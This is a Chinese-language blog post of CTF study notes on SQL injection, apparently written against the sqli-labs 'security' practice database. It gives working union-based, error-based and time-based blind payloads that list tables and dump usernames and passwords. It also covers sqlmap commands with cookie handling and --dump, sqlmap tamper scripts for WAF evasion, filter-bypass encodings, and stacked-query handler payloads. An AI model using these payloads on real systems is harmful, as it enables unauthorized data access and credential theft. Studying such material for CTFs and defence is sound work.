sql注入CTF常见考点方法总结

发布时间 2023-08-08 18:07:54作者: Arongsec

SQL注入

一、基本注入流程

1.判断是否存在注入点

(1)?id=x x不同,返回结果不同,则存在注入。

(2)数字型判断:

​ and 1=1 正常

​ and 1=2 报错

​ 则不存在注入

​ 字符型判断:

​ 1' and '1'='1 正常

​ 1' and '1'='2 报错

​ 则存在注入

(3)判断注入点及类型:

​ a' or 1=1 #正常

​ a' or 1=1 异常

​ 则为单引号闭合

​ a' or 1 --a 正常

​ a' or 0 --a 异常

​ 则为单引号闭合

2.猜测列数量

?id=1' order by 4 --+

3.爆显示位

?id=-1' union select 1,2,3 --+

4.查询数据库

?id=-1' union select 1,database(),version() --+

5.查询security库中的所有表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

6.查询users表中的列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+

7.查询user,passwd信息

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

二、报错注入

适用于无回显,但是有报错信息时。

语句一:?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

语句二:?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+

语句一:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+

语句二:?id=1' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e)) --+

语句一:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) --+

语句二:?id=1' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e)) --+

查询信息

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,',',password) from security.users),0x7e),1) --+

三、布尔盲注

有回显信息,但回显信息始终不变。

直接上脚本

四、时间盲注

无回显无报错

直接上脚本

常用语句

判断库名长度:

?id=1' and if(length(database())>8,sleep(2),0) --+

判断库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+

此为判断第一个字母的ascii码是否为115

判断表名

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)--+

其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit **0,1**),**1**,1))=101,sleep(3),0)--+

↑ 为第个表第一个字母

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),**2**,1))=109,sleep(3),0)--+

↑ 为第一个表第二个字母

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit **3,1**),1,1))=117,sleep(3),0)--+

↑ 为第个表第一个字母

判断列名

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)--+

x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit **0,1**),1,1))=105,sleep(2),1)--+

↑ 为第列第一个字母

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),2,1))=100,sleep(2),1)--+

↑ 为第一列第二个字母

爆数据

?id=1' and If(ascii(substr((select username from users limit 0,1),**1**,1))=68,sleep(2),1)--+

↑ 为第一个字母

?id=1' and If(ascii(substr((select username from users limit 0,1),**2**,1))=117,sleep(2),1)--+

↑ 为第二个字母

五、sqlmap的使用

基本使用

(1)指定检查的参数: -p

​ eg: -p id 即指定检查参数id

(2)sqlmap默认是没有登录的状态,对于测试已经登录了的页面,会自动跳转到login页面,需处理权限。

​ 最简单的权限处理方法:添加cookie.(cookie中保存了登录状态)

​ 建权指令: --cookie="xxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

​ F12>Console>document.cookie

(3)将所有提示全部自动执行: --batch

(4)获取数据库信息: --dbs

(5)指定表:-D security(指定security库)

(6)获取表信息:--tables

(7)指定表: -T users

(8)查询列名:--columns

(9) 查询数据: -C user,password --dump

(10) 对多个url进行注入:

​ 将多个url写入一个txt中,-m 文件路径

GET型:

sqlmap -u "url"(url中需要/?id=1,即要执行一次操作)

POST型:

sqlmap -u “注入点网址” – data=”post的参数”

法二:将登录后的包bp抓包,导出为txt,与sqlmap放在同一目录下(python311);sqlmap.py -r 文件根路径 -p username --dbs

tamper使用

注释符绕过:unmagicquotes

* apostrophemask.py-用其UTF-8全角字符替换撇号(')(例如'->%EF%BC%87)
* apostrophenullencode.py-用非法的双unicode替换撇号(')(例如'->%00%27)
* appendnullbyte.py-在有效载荷的末尾附加(访问)NULL字节字符(%00)
* base64encode.py-Base64对给定有效载荷中的所有字符进行编码
* between.py- 替换较大比运算符('>')带有'NOT BETWEEN 0 AND#',等于运算符('=')与'BETWEEN#AND#'
* bluecoat.py-用有效的随机空白字符替换SQL语句后的空格字符。然后用运算符LIKE替换字符'='
* chardoubleencode.py-双重URL编码给定有效负载中的所有字符(未处理已编码)(例如SELECT->%2553%2545%254C%2545%2543%2554)
* charencode.py-URL编码中的所有字符给定的有效载荷(不处理已经编码的)(例如SELECT->%53%45%4C%45%43%54)
* charunicodeencode.py-Unicode-URL编码给定的有效载荷中的所有字符(不处理已经编码的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)
* charunicodeescape.py-Unicode转义给定有效负载中的未编码字符(未处理已编码的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)
* commalesslimit.py-用'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N'
* commalessmid.py-用'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)'
* commentbeforeparentheses.py-在括号前加(内联)注释(例如((-> / ** /()
* concat2concatws.py-用'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等价物(相当于)替换(MySQL)实例,例如'CONCAT(A,B)' 。
* equaltolike.py- 将所有出现的等于('=')运算符替换为'LIKE'
* escapequotes.py-斜杠转义单引号和双引号(例如'-> ')
* great.py- 替换大于运算符('>' )和'GREATEST'对应
* Halfversionedmorekeywords.py-在每个关键字
* hex2char.py-替换每个(MySQL)0x等效的CONCAT(CHAR(),...)编码字符串
* htmlencode.py-HTML编码(使用代码点)所有非字母数字字符(例如'->')
* ifnull2casewhenisnull.py-替换'IFNULL( A,B)'与'CASE WHEN ISNULL(A)THEN(B)ELSE(A)END'对应
* ifnull2ifisnull.py-用'IF(ISNULL(A),B)替换'IFNULL(A,B)'之类的实例,A)'对应
* informationschemacomment.py-在所有出现的(MySQL)“ information_schema”标识符的末尾添加一个内联注释(/ ** /)
* least.py 用'LEAST'对应替换大于运算符('>')
* lowercase.py-用小写值替换每个关键字字符(例如SELECT->选择)
* luanginx.py-LUA-Nginx WAF绕过(例如Cloudflare)
* modsecurityversioned.py-包含带有(MySQL)版本注释的完整查询
* modsecurityzeroversioned.py-包含带有(MySQL)零版本注释的完整查询
* multiplespaces.py-在SQL关键字周围添加多个空格('')
* overlongutf8.py-将给定有效载荷中的所有(非字母数字)字符转换为超长UTF8(未处理已编码)(例如'->%C0%A7)
* overlongutf8more.py-将给定有效载荷中的所有字符转换为超长UTF8(尚未处理编码)(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
* percent.py-在每个字符前面添加一个百分号('%') (例如SELECT->%S%E%L%E%C%T)
* plus2concat.py-替换加号运算符('+')与(MsSQL)函数CONCAT()对应
* plus2fnconcat.py-用(MsSQL)ODBC函数{fn CONCAT()}替换加号('+')对应项
* randomcase.py-用随机大小写值替换每个关键字字符(例如SELECT-> SEleCt)
* randomcomments.py -在SQL关键字内添加随机内联注释(例如SELECT-> S / ** / E / ** / LECT)
* sp_password.py-将(MsSQL)函数'sp_password'附加到有效负载的末尾,以便从DBMS日志中自动进行混淆
* space2comment.py-用注释'/ ** /' 替换空格字符('')
* space2dash.py-用短划线注释('-')替换空格字符(''),后跟一个随机字符串和一个新的行('\ n')
* space2hash.py-用井字符('#')替换(MySQL)空格字符('')实例,后跟随机字符串和换行('\ n')
* space2morecomment.py-替换(MySQL)带注释'/ ** _ ** /' 的空格字符('')实例
* space2morehash.py-用井号('#')后面跟一个随机字符串替换(MySQL)空格字符('')实例和新行('\ n')
* space2mssqlblank.py-用有效的替代字符集中的随机空白字符替换空间字符('')的(MsSQL)实例
* space2mssqlhash.py-替换空间字符('' )和井号('#'),后接换行('\ n')
* space2mysqlblank.py-用有效替代字符集中的随机空白字符替换(MySQL)空格字符('')实例
* space2mysqldash.py-用破折号('-')替换空格字符('') )后跟换行('\ n')
* space2plus.py-用加号('+')替换空格字符('')
* space2randomblank.py-用空格中的随机空白字符替换空格字符('')有效的替代字符集
* substring2leftright.py-用LEFT和RIGHT替换PostgreSQL SUBSTRING
* symbolicologic.py-用其符号对应物(&&和||)替换AND和OR逻辑运算符
* unionalltounion.py-用UNION SELECT对应项替换UNION ALL SELECT的实例
* unmagicquotes.py-用多字节组合%BF%27替换引号字符('),并在末尾添加通用注释(以使其起作用)
* uppercase.py-用大写值替换每个关键字字符(例如select -> SELECT)
* varnish.py-附加HTTP标头'X-originating-IP'以绕过Varnish防火墙
* versionedkeywords.py-用(MySQL)版本注释将每个非功能性关键字括起来
* versionedmorekeywords.py-将每个关键字包含(MySQL)版本注释
* xforwardedfor.py-附加伪造的HTTP标头'X-Forwarded-For'

六、绕过

1.空格绕过(区别于文件执行linux中的过滤)

1.%a0,%0a

2./**/

3.%2520

4.括号()

5.空白字符绕过

   SQLite3    --    0A,0D,0C,09,20

   MYSQL5    --    09,0A,0B,0C,0D,A0,20

6.特殊符号绕过

反引号:select`username`,`from`

7.科学计数法绕过

0e1union select 1,2

2.引号绕过

十六进制绕过

​ eg:

where table_name="users"

可以写为:where table_name=0x7573657273   (前面要添加0x)

3.注释符绕过

单引号闭合:

?id=-1' union select......1,2,.....'

4.关键字过滤

1.双写绕过

2.大小写绕过

3.中间添加注释符/**/

内联注释 /!*union*/

4.十六进制绕过

有时候,过滤函数是通过十六进制进行过滤的.我们可以通过对关键字的个别字母进行替换,如:

  select    --    selec\x74

      or        --    o\x72

    union     --    UnIo\x6e 等等

5.双重URL编码绕过

 or        --    %25%36%66%25%37%32

union     --%25%37%35%25%36%39%25%36%65%25%36%66%25%36%65 

5.逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1

​ 等价于下面这条SQL语句

select * from news limit 1 offset 0

6.单引号过滤

魔术引号,在注入点前增加%27尝试宽字节注入(eg:%df%27)

做题笔记

一、各种过滤

空格过滤:使用()绕过

=过滤:使用like绕过

union select过滤:尝试报错注入

1'or(updatexml(1,concat(0x7e,database()),1))#&password=1

​ 报错注入读取数据:

​ 法一:

1'or(updatexml(1,concat(0x7e(select(right(group_concat(password),25))from(H4rDsq1))),1))#

​ 法二:

1'or(updatexml(1,concat(0x7e(select(mid(group_concat(password),20,40))from(H4rDsq1))),1))#

法三:堆叠注入,handler读取

1'; show databases;#

1'; show columns from FlagHere;#

1'; handler FlagHere open;handler FlagHere read first; handler FlagHere close;#
handler读取内容:(待补充)
handler FlagHere open; //打开一个表名为FlagHere的

handler FlagHere read first;  //获取  第一行(相当于第一个字段)

handler FlagHere close; //关闭